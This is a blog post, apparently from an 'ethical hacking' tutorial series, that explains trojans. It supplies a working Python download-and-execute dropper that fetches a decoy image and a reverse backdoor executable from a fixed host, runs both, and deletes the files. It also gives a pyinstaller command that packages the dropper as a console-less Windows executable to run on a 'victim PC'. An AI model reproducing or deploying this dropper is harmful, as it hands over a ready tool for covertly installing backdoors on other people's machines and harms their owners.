• Python Ethical Hacking


    TROJANS

    A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc).

    When executed:

    1. Opens the normal file that the user expects.

    2. Executes evil code in the background (run a backdoor/keylogger ..etc).

    Download & Execute Payload

    • A generic executable that downloads & executes files.
    • Ideas:
    • Download backdoor + keylogger.
      • Download keylogger + password recovery tool.
      • Download keylogger + password recovery tool + backdoor.
      • Use it as a trojan -- evil file + a normal file.

    Create the download_and_exeucte Python code:

    #!/usr/bin/env python
    import os
    import subprocess
    import requests
    import tempfile
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    temp_directory = tempfile.gettempdir()
    os.chdir(temp_directory)
    print(temp_directory)
    
    download("http://10.0.0.43/evil-files/Galaxy.jpg")
    subprocess.Popen("Galaxy.jpg", shell=True)
    
    download("http://10.0.0.43/evil-files/reverse_backdoor.exe")
    subprocess.call("reverse_backdoor.exe", shell=True)
    
    os.remove("Galaxy.jpg")
    os.remove("reverse_backdoor.exe")

    Convert the Python Program to Windows Executable.

    wine /root/.wine/drive_c/Program Files (x86)/Python37-32/Scripts/pyinstaller.exe download_and_execute.py --onefile --noconsole

     Execute the download_and_execute.exe file on the vitim PC.

     The user can only see a normal picture, but the communication has been established background.

     

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    Qt实现模糊搜索
    Qt解析多级xml文件
    insert into
    Git忽略规则(.gitignore配置)不生效原因和解决
    搭建vue开发环境
    表单
    事件处理
    列表渲染
    条件渲染
    class与style绑定
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11666318.html
Copyright © 2020-2023  润新知